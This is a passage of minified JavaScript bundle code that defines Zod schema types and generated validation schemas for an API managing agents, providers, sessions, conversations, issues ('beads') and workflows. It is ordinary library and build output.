Le=j("ZodType",(t,r)=>(je.init(t,r),Object.assign(t["~standard"],{jsonSchema:{input:ba(t,"input"),output:ba(t,"output")}}),t.toJSONSchema=$_(t,{}),t.def=r,t.type=r.type,Object.defineProperty(t,"_def",{value:r}),t.parse=(i,s)=>v8(t,i,s,{callee:t.parse}),t.safeParse=(i,s)=>g8(t,i,s),t.parseAsync=async(i,s)=>h8(t,i,s,{callee:t.parseAsync}),t.safeParseAsync=async(i,s)=>y8(t,i,s),t.spa=t.safeParseAsync,t.encode=(i,s)=>_8(t,i,s),t.decode=(i,s)=>w8(t,i,s),t.encodeAsync=async(i,s)=>x8(t,i,s),t.decodeAsync=async(i,s)=>E8(t,i,s),t.safeEncode=(i,s)=>I8(t,i,s),t.safeDecode=(i,s)=>S8(t,i,s),t.safeEncodeAsync=async(i,s)=>k8(t,i,s),t.safeDecodeAsync=async(i,s)=>b8(t,i,s),ei(t,"ZodType",{check(...i){const s=this.def;return this.clone(Kn(s,{checks:[...s.checks??[],...i.map(u=>typeof u=="function"?{_zod:{check:u,def:{check:"custom"},onattach:[]}}:u)]}),{parent:!0})},with(...i){return this.check(...i)},clone(i,s){return Qn(this,i,s)},brand(){return this},register(i,s){return i.add(this,s),this},refine(i,s){return this.check(gw(i,s))},superRefine(i,s){return this.check(yw(i,s))},overwrite(i){return this.check(ro(i))},optional(){return Bf(this)},exactOptional(){return ow(this)},nullable(){return Rf(this)},nullish(){return Bf(Rf(this))},nonoptional(i){return cw(this,i)},array(){return P(this)},or(i){return Yn([this,i])},and(i){return X8(this,i)},transform(i){return Pf(this,nw(i))},default(i){return sw(this,i)},prefault(i){return uw(this,i)},catch(i){return pw(this,i)},pipe(i){return Pf(this,i)},readonly(){return vw(this)},describe(i){const s=this.clone();return Wo.add(s,{description:i}),s},meta(...i){if(i.length===0)return Wo.get(this);const s=this.clone();return Wo.add(s,i[0]),s},isOptional(){return this.safeParse(void 0).success},isNullable(){return this.safeParse(null).success},apply(i){return i(this)}}),Object.defineProperty(t,"description",{get(){return Wo.get(t)?.description},configurable:!0}),t)),Zm=j("_ZodString",(t,r)=>{gu.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(s,u,p)=>D_(t,s,u);const i=t._zod.bag;t.format=i.format??null,t.minLength=i.minimum??null,t.maxLength=i.maximum??null,ei(t,"_ZodString",{regex(...s){return this.check(E_(...s))},includes(...s){return this.check(k_(...s))},startsWith(...s){return this.check(b_(...s))},endsWith(...s){return this.check(z_(...s))},min(...s){return this.check(ka(...s))},max(...s){return this.check($m(...s))},length(...s){return this.check(Lm(...s))},nonempty(...s){return this.check(ka(1,...s))},lowercase(s){return this.check(I_(s))},uppercase(s){return this.check(S_(s))},trim(){return this.check(T_())},normalize(...s){return this.check(C_(...s))},toLowerCase(){return this.check(B_())},toUpperCase(){return this.check(R_())},slugify(){return this.check(P_())}})}),z8=j("ZodString",(t,r)=>{gu.init(t,r),Zm.init(t,r),t.email=i=>t.check(W3(C8,i)),t.url=i=>t.check(jm(qm,i)),t.jwt=i=>t.check(d_(Z8,i)),t.emoji=i=>t.check(Q3(T8,i)),t.guid=i=>t.check(kf(zf,i)),t.uuid=i=>t.check(H3(ya,i)),t.uuidv4=i=>t.check(G3(ya,i)),t.uuidv6=i=>t.check(J3(ya,i)),t.uuidv7=i=>t.check(K3(ya,i)),t.nanoid=i=>t.check(Y3(B8,i)),t.guid=i=>t.check(kf(zf,i)),t.cuid=i=>t.check(X3(R8,i)),t.cuid2=i=>t.check(e_(P8,i)),t.ulid=i=>t.check(t_(N8,i)),t.base64=i=>t.check(l_(M8,i)),t.base64url=i=>t.check(u_(F8,i)),t.xid=i=>t.check(n_(A8,i)),t.ksuid=i=>t.check(r_(O8,i)),t.ipv4=i=>t.check(o_(j8,i)),t.ipv6=i=>t.check(i_($8,i)),t.cidrv4=i=>t.check(a_(L8,i)),t.cidrv6=i=>t.check(s_(D8,i)),t.e164=i=>t.check(c_(U8,i)),t.datetime=i=>t.check(N(i)),t.date=i=>t.check(u8(i)),t.time=i=>t.check(d8(i)),t.duration=i=>t.check(f8(i))});function o(t){return V3(z8,t)}const Ue=j("ZodStringFormat",(t,r)=>{$e.init(t,r),Zm.init(t,r)}),C8=j("ZodEmail",(t,r)=>{Q2.init(t,r),Ue.init(t,r)}),zf=j("ZodGUID",(t,r)=>{J2.init(t,r),Ue.init(t,r)}),ya=j("ZodUUID",(t,r)=>{K2.init(t,r),Ue.init(t,r)}),qm=j("ZodURL",(t,r)=>{Y2.init(t,r),Ue.init(t,r)});function Cf(t){return jm(qm,t)}const T8=j("ZodEmoji",(t,r)=>{X2.init(t,r),Ue.init(t,r)}),B8=j("ZodNanoID",(t,r)=>{e3.init(t,r),Ue.init(t,r)}),R8=j("ZodCUID",(t,r)=>{t3.init(t,r),Ue.init(t,r)}),P8=j("ZodCUID2",(t,r)=>{n3.init(t,r),Ue.init(t,r)}),N8=j("ZodULID",(t,r)=>{r3.init(t,r),Ue.init(t,r)}),A8=j("ZodXID",(t,r)=>{o3.init(t,r),Ue.init(t,r)}),O8=j("ZodKSUID",(t,r)=>{i3.init(t,r),Ue.init(t,r)}),j8=j("ZodIPv4",(t,r)=>{c3.init(t,r),Ue.init(t,r)}),$8=j("ZodIPv6",(t,r)=>{d3.init(t,r),Ue.init(t,r)}),L8=j("ZodCIDRv4",(t,r)=>{p3.init(t,r),Ue.init(t,r)}),D8=j("ZodCIDRv6",(t,r)=>{f3.init(t,r),Ue.init(t,r)}),M8=j("ZodBase64",(t,r)=>{m3.init(t,r),Ue.init(t,r)}),F8=j("ZodBase64URL",(t,r)=>{h3.init(t,r),Ue.init(t,r)}),U8=j("ZodE164",(t,r)=>{g3.init(t,r),Ue.init(t,r)}),Z8=j("ZodJWT",(t,r)=>{_3.init(t,r),Ue.init(t,r)}),Vm=j("ZodNumber",(t,r)=>{Rm.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(s,u,p)=>M_(t,s,u),ei(t,"ZodNumber",{gt(s,u){return this.check(Sa(s,u))},gte(s,u){return this.check(Un(s,u))},min(s,u){return this.check(Un(s,u))},lt(s,u){return this.check(Ia(s,u))},lte(s,u){return this.check(Gr(s,u))},max(s,u){return this.check(Gr(s,u))},int(s){return this.check(Be(s))},safe(s){return this.check(Be(s))},positive(s){return this.check(Sa(0,s))},nonnegative(s){return this.check(Un(0,s))},negative(s){return this.check(Ia(0,s))},nonpositive(s){return this.check(Gr(0,s))},multipleOf(s,u){return this.check(Yl(s,u))},step(s,u){return this.check(Yl(s,u))},finite(){return this}});const i=t._zod.bag;t.minValue=Math.max(i.minimum??Number.NEGATIVE_INFINITY,i.exclusiveMinimum??Number.NEGATIVE_INFINITY)??null,t.maxValue=Math.min(i.maximum??Number.POSITIVE_INFINITY,i.exclusiveMaximum??Number.POSITIVE_INFINITY)??null,t.isInt=(i.format??"").includes("int")||Number.isSafeInteger(i.multipleOf??.5),t.isFinite=!0,t.format=i.format??null});function pr(t){return h_(Vm,t)}const q8=j("ZodNumberFormat",(t,r)=>{w3.init(t,r),Vm.init(t,r)});function Be(t){return g_(q8,t)}const V8=j("ZodBoolean",(t,r)=>{x3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>F_(t,i,s)});function Z(t){return y_(V8,t)}const W8=j("ZodBigInt",(t,r)=>{E3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(s,u,p)=>U_(t,s),t.gte=(s,u)=>t.check(Un(s,u)),t.min=(s,u)=>t.check(Un(s,u)),t.gt=(s,u)=>t.check(Sa(s,u)),t.gte=(s,u)=>t.check(Un(s,u)),t.min=(s,u)=>t.check(Un(s,u)),t.lt=(s,u)=>t.check(Ia(s,u)),t.lte=(s,u)=>t.check(Gr(s,u)),t.max=(s,u)=>t.check(Gr(s,u)),t.positive=s=>t.check(Sa(BigInt(0),s)),t.negative=s=>t.check(Ia(BigInt(0),s)),t.nonpositive=s=>t.check(Gr(BigInt(0),s)),t.nonnegative=s=>t.check(Un(BigInt(0),s)),t.multipleOf=(s,u)=>t.check(Yl(s,u));const i=t._zod.bag;t.minValue=i.minimum??null,t.maxValue=i.maximum??null,t.format=i.format??null}),H8=j("ZodUnknown",(t,r)=>{I3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>q_()});function Jn(){return w_(H8)}const G8=j("ZodNever",(t,r)=>{S3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>Z_(t,i,s)});function $a(t){return x_(G8,t)}const J8=j("ZodArray",(t,r)=>{k3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>J_(t,i,s,u),t.element=r.element,ei(t,"ZodArray",{min(i,s){return this.check(ka(i,s))},nonempty(i){return this.check(ka(1,i))},max(i,s){return this.check($m(i,s))},length(i,s){return this.check(Lm(i,s))},unwrap(){return this.element}})});function P(t,r){return N_(J8,t,r)}const K8=j("ZodObject",(t,r)=>{z3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>K_(t,i,s,u),ze(t,"shape",()=>r.shape),ei(t,"ZodObject",{keyof(){return Kt(Object.keys(this._zod.def.shape))},catchall(i){return this.clone({...this._zod.def,catchall:i})},passthrough(){return this.clone({...this._zod.def,catchall:Jn()})},loose(){return this.clone({...this._zod.def,catchall:Jn()})},strict(){return this.clone({...this._zod.def,catchall:$a()})},strip(){return this.clone({...this._zod.def,catchall:void 0})},extend(i){return q7(this,i)},safeExtend(i){return V7(this,i)},merge(i){return W7(this,i)},pick(i){return U7(this,i)},omit(i){return Z7(this,i)},partial(...i){return H7(Gm,this,i[0])},required(...i){return G7(Jm,this,i[0])}})});function h(t,r){const i={type:"object",shape:t??{},...ie(r)};return new K8(i)}const Wm=j("ZodUnion",(t,r)=>{Am.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>Q_(t,i,s,u),t.options=r.options});function Yn(t,r){return new Wm({type:"union",options:t,...ie(r)})}const Q8=j("ZodDiscriminatedUnion",(t,r)=>{Wm.init(t,r),C3.init(t,r)});function Hm(t,r,i){return new Q8({type:"union",options:r,discriminator:t,...ie(i)})}const Y8=j("ZodIntersection",(t,r)=>{T3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>Y_(t,i,s,u)});function X8(t,r){return new Y8({type:"intersection",left:t,right:r})}const Tf=j("ZodRecord",(t,r)=>{B3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>X_(t,i,s,u),t.keyType=r.keyType,t.valueType=r.valueType});function fe(t,r,i){return!r||!r._zod?new Tf({type:"record",keyType:o(),valueType:t,...ie(r)}):new Tf({type:"record",keyType:t,valueType:r,...ie(i)})}const Xl=j("ZodEnum",(t,r)=>{R3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(s,u,p)=>V_(t,s,u),t.enum=r.entries,t.options=Object.values(r.entries);const i=new Set(Object.keys(r.entries));t.extract=(s,u)=>{const p={};for(const d of s)if(i.has(d))p[d]=r.entries[d];else throw new Error(`Key ${d} not found in enum`);return new Xl({...r,checks:[],...ie(u),entries:p})},t.exclude=(s,u)=>{const p={...r.entries};for(const d of s)if(i.has(d))delete p[d];else throw new Error(`Key ${d} not found in enum`);return new Xl({...r,checks:[],...ie(u),entries:p})}});function Kt(t,r){const i=Array.isArray(t)?Object.fromEntries(t.map(s=>[s,s])):t;return new Xl({type:"enum",entries:i,...ie(r)})}const ew=j("ZodLiteral",(t,r)=>{P3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>W_(t,i,s),t.values=new Set(r.values),Object.defineProperty(t,"value",{get(){if(r.values.length>1)throw new Error("This schema contains multiple valid literal values. Use `.values` instead.");return r.values[0]}})});function x(t,r){return new ew({type:"literal",values:Array.isArray(t)?t:[t],...ie(r)})}const tw=j("ZodTransform",(t,r)=>{N3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>G_(t,i),t._zod.parse=(i,s)=>{if(s.direction==="backward")throw new hm(t.constructor.name);i.addIssue=p=>{if(typeof p=="string")i.issues.push(Yo(p,i.value,r));else{const d=p;d.fatal&&(d.continue=!1),d.code??(d.code="custom"),d.input??(d.input=i.value),d.inst??(d.inst=t),i.issues.push(Yo(d))}};const u=r.transform(i.value,i);return u instanceof Promise?u.then(p=>(i.value=p,i.fallback=!0,i)):(i.value=u,i.fallback=!0,i)}});function nw(t){return new tw({type:"transform",transform:t})}const Gm=j("ZodOptional",(t,r)=>{Om.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>Um(t,i,s,u),t.unwrap=()=>t._zod.def.innerType});function Bf(t){return new Gm({type:"optional",innerType:t})}const rw=j("ZodExactOptional",(t,r)=>{A3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>Um(t,i,s,u),t.unwrap=()=>t._zod.def.innerType});function ow(t){return new rw({type:"optional",innerType:t})}const iw=j("ZodNullable",(t,r)=>{O3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>e8(t,i,s,u),t.unwrap=()=>t._zod.def.innerType});function Rf(t){return new iw({type:"nullable",innerType:t})}const aw=j("ZodDefault",(t,r)=>{j3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>n8(t,i,s,u),t.unwrap=()=>t._zod.def.innerType,t.removeDefault=t.unwrap});function sw(t,r){return new aw({type:"default",innerType:t,get defaultValue(){return typeof r=="function"?r():_m(r)}})}const lw=j("ZodPrefault",(t,r)=>{$3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>r8(t,i,s,u),t.unwrap=()=>t._zod.def.innerType});function uw(t,r){return new lw({type:"prefault",innerType:t,get defaultValue(){return typeof r=="function"?r():_m(r)}})}const Jm=j("ZodNonOptional",(t,r)=>{L3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>t8(t,i,s,u),t.unwrap=()=>t._zod.def.innerType});function cw(t,r){return new Jm({type:"nonoptional",innerType:t,...ie(r)})}const dw=j("ZodCatch",(t,r)=>{D3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>o8(t,i,s,u),t.unwrap=()=>t._zod.def.innerType,t.removeCatch=t.unwrap});function pw(t,r){return new dw({type:"catch",innerType:t,catchValue:typeof r=="function"?r:()=>r})}const fw=j("ZodPipe",(t,r)=>{M3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>i8(t,i,s,u),t.in=r.in,t.out=r.out});function Pf(t,r){return new fw({type:"pipe",in:t,out:r})}const mw=j("ZodReadonly",(t,r)=>{F3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>a8(t,i,s,u),t.unwrap=()=>t._zod.def.innerType});function vw(t){return new mw({type:"readonly",innerType:t})}const hw=j("ZodCustom",(t,r)=>{U3.init(t,r),Le.init(t,r),t._zod.processJSONSchema=(i,s,u)=>H_(t,i)});function gw(t,r={}){return A_(hw,t,r)}function yw(t,r){return O_(t,r)}function w(t){return __(W8,t)}const _w=h({MaxMessageLength:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),SupportsAttachments:Z(),SupportsChildConversations:Z()}),ti=h({account_id:o(),provider:o()});h({dir:o().optional(),name:o().min(1),provider:o().min(1),scope:o().optional()});h({agent:o(),status:o()});const ww=h({agent_id:o(),parent_tool_use_id:o()});h({dir:o().optional(),env:fe(o(),o()).optional(),name:o().optional(),scope:o().optional(),suspended:Z().optional(),tmux_alias:o().optional(),work_dir:o().optional()});h({agent:o(),bytes:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),prompt:o()});h({provider:o().optional(),scope:o().optional(),suspended:Z().optional()});h({provider:o().optional(),scope:o().optional(),suspended:Z().optional()});const xw=h({dir:o().optional(),is_pool:Z().optional(),name:o(),origin:o(),provider:o().optional(),scope:o().optional(),suspended:Z()}),Ew=h({acp_args:P(o()).optional(),acp_command:o().optional(),args:P(o()).nullish(),command:o().optional(),display_name:o().optional(),env:fe(o(),o()).optional(),origin:o(),prompt_flag:o().optional(),prompt_mode:o().optional(),ready_delay_ms:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional()});h({event_cursor:o(),request_id:o(),status:o()});h({event_cursor:o(),request_id:o()});h({assignee:o().optional()});h({reason:o().max(1024).optional()});h({assignee:o().optional(),description:o().optional(),labels:P(o()).nullish(),metadata:fe(o(),o()).optional(),parent:o().optional(),priority:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),rig:o().optional(),title:o().min(1),type:o().optional()});h({assignee:o().optional(),description:o().optional(),labels:P(o()).nullish(),metadata:fe(o(),o()).optional(),parent:o().nullish(),priority:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),remove_labels:P(o()).nullish(),status:o().optional(),title:o().optional(),type:o().optional()});const Iw=Kt(["active","ended"]),yu=h({conversation_id:o(),provider:o(),session_id:o()});h({bootstrap_profile:Kt(["k8s-cell","kubernetes","kubernetes-cell","single-host-compat"]).optional(),dir:o().min(1),provider:o().min(1).optional(),start_command:o().optional()});const _u=h({name:o(),path:o(),request_id:o()});h({agent_count:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),name:o(),path:o(),provider:o().optional(),rig_count:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_template:o().optional(),suspended:Z(),uptime_sec:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),version:o().optional()});const Sw=h({error:o().optional(),name:o(),path:o(),phases_completed:P(o()).nullish(),running:Z(),status:o().optional()}),ni=h({name:o(),path:o()});h({suspended:Z().optional()});const wu=h({name:o(),path:o(),request_id:o()}),kw=h({dir:o().optional(),is_pool:Z().optional(),name:o(),provider:o().optional(),scope:o().optional(),suspended:Z()}),bw=h({agents:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),providers:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),rigs:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});h({agents:P(xw).nullable(),patches:bw,providers:fe(o(),Ew)});const zw=h({agent_count:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),provider_count:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),rig_count:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})}),Cw=h({name:o(),path:o(),prefix:o().optional(),suspended:Z()});h({errors:P(o()).nullable(),valid:Z(),warnings:P(o()).nullable()});h({GroupID:o(),Handle:o(),ID:o(),Metadata:fe(o(),o()),Public:Z(),SessionID:o()});const Tw=Kt(["dm","room","thread"]),Yt=h({account_id:o(),conversation_id:o(),kind:Tw,parent_conversation_id:o().optional(),provider:o(),scope_id:o()});h({items:P(o()).nullish()});h({closed:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),complete:Z(),convoy_id:o(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});h({items:P(o()).nullish(),rig:o().optional(),title:o().min(1)});const Bw=h({closed:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});h({items:P(o()).nullish()});const Rw=h({BindingGeneration:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),Conversation:Yt,ID:o(),LastMessageID:o(),LastPublishedAt:N({offset:!0}),Metadata:fe(o(),o()),SchemaVersion:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),SessionID:o(),SourceSessionID:o()}),Pw=h({depends_on_id:o(),issue_id:o(),type:o()}),fr=h({assignee:o().optional(),created_at:N({offset:!0}),dependencies:P(Pw).nullish(),description:o().optional(),ephemeral:Z().optional(),from:o().optional(),id:o(),issue_type:o(),labels:P(o()).nullish(),metadata:fe(o(),o()).optional(),needs:P(o()).nullish(),parent:o().optional(),priority:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).nullish(),ref:o().optional(),status:o(),title:o(),updated_at:N({offset:!0}).optional()});h({children:P(fr).nullable()});const gr=h({bead:fr});h({children:P(fr).nullish(),convoy:fr.optional(),progress:Bw.optional()});const Nw=h({location:o().optional(),message:o().optional(),value:Jn().optional()});h({detail:o().optional(),errors:P(Nw).nullish(),instance:Cf().optional(),status:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),title:o().optional(),type:Cf().optional().default("about:blank")});h({status:o()});h({actor:o().min(1),message:o().optional(),subject:o().optional(),type:o().min(1)});const Aw=h({seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),ts:N({offset:!0}),type:o()}),Ow=h({compression_status:Kt(["pending","complete"]),first_seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),last_seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),path:o()});h({anchor_event:Aw.optional(),archive:Ow.optional(),reason:o().optional(),rotated:Z()});h({account_id:o().min(1),callback_url:o().optional(),capabilities:_w.optional(),name:o().optional(),provider:o().min(1)});h({account_id:o(),name:o(),provider:o(),status:o()});h({account_id:o().min(1),provider:o().min(1)});h({conversation:Yt.optional(),metadata:fe(o(),o()).optional(),session_id:o().min(1)});h({default_handle:o().optional(),metadata:fe(o(),o()).optional(),mode:o().optional(),root_conversation:Yt.optional()});h({conversation:Yt.optional(),idempotency_key:o().optional(),reply_to_message_id:o().optional(),session_id:o().min(1),text:o().optional()});h({group_id:o().min(1),handle:o().min(1)});h({group_id:o().min(1),handle:o().min(1),metadata:fe(o(),o()).optional(),public:Z().optional(),session_id:o().min(1)});h({conversation:Yt.optional(),sequence:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),session_id:o().min(1)});h({conversation:Yt.optional(),session_id:o().min(1)});const Km=h({display_name:o(),id:o(),is_bot:Z()}),Qm=h({mime_type:o(),provider_id:o(),url:o()}),Ym=h({actor:Km,attachments:P(Qm).nullish(),conversation:Yt,dedup_key:o().optional(),explicit_target:o().optional(),provider_message_id:o(),received_at:N({offset:!0}),reply_to_message_id:o().optional(),text:o()});h({account_id:o().optional(),message:Ym.optional(),payload:o().optional(),provider:o().optional()});const jw=h({account_id:o(),name:o(),provider:o()}),$w=h({AllowUntargetedPublication:Z(),Enabled:Z(),MaxPeerTriggeredPublishes:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),MaxTotalPeerDeliveries:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});h({DefaultHandle:o(),FanoutPolicy:$w,ID:o(),LastAddressedHandle:o(),Metadata:fe(o(),o()),Mode:o(),RootConversation:Yt,SchemaVersion:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});h({scope_kind:o().optional(),scope_ref:o().optional(),target:o().min(1),vars:fe(o(),o()).optional()});const Xm=h({from:o(),kind:o().optional(),to:o()}),Lw=h({id:o(),kind:o(),scope_ref:o().optional(),title:o()}),Dw=h({edges:P(Xm).nullable(),nodes:P(Lw).nullable()}),ev=h({started_at:o(),status:o(),target:o(),updated_at:o(),workflow_id:o()});h({formula:o(),partial:Z(),partial_errors:P(o()).nullish(),recent_runs:P(ev).nullable(),run_count:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const Mw=h({assignee:o().optional(),id:o(),kind:o(),labels:P(o()).nullish(),metadata:fe(o(),o()).optional(),title:o(),type:o().optional()}),tv=h({default:Jn().optional(),description:o().optional(),enum:P(o()).nullish(),name:o(),pattern:o().optional(),required:Z().optional(),type:o()});h({deps:P(Xm).nullable(),description:o(),name:o(),preview:Dw,steps:P(Mw).nullable(),var_defs:P(tv).nullable(),version:o()});const Fw=h({description:o(),name:o(),recent_runs:P(ev).nullable(),run_count:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),var_defs:P(tv).nullable(),version:o()});h({items:P(Fw).nullable(),partial:Z(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const Uw=h({ahead:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),behind:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),branch:o(),changed_files:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),clean:Z()}),xu=h({conversation_id:o(),mode:o(),provider:o()}),Zw=h({Match:o(),TargetSessionID:o(),UpdateCursor:Z()});h({city:o().optional(),status:o(),uptime_sec:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),version:o().optional()});const oo=h({timestamp:o()}),Eu=h({actor:o(),conversation_id:o(),provider:o(),target_session:o()});h({items:P(fr).nullable(),next_cursor:o().optional(),partial:Z().optional(),partial_errors:P(o()).nullish(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});h({items:P(jw).nullable(),next_cursor:o().optional(),partial:Z().optional(),partial_errors:P(o()).nullish(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const qw=fe(o(),$a());h({partial:Z().optional(),partial_errors:P(o()).nullish(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 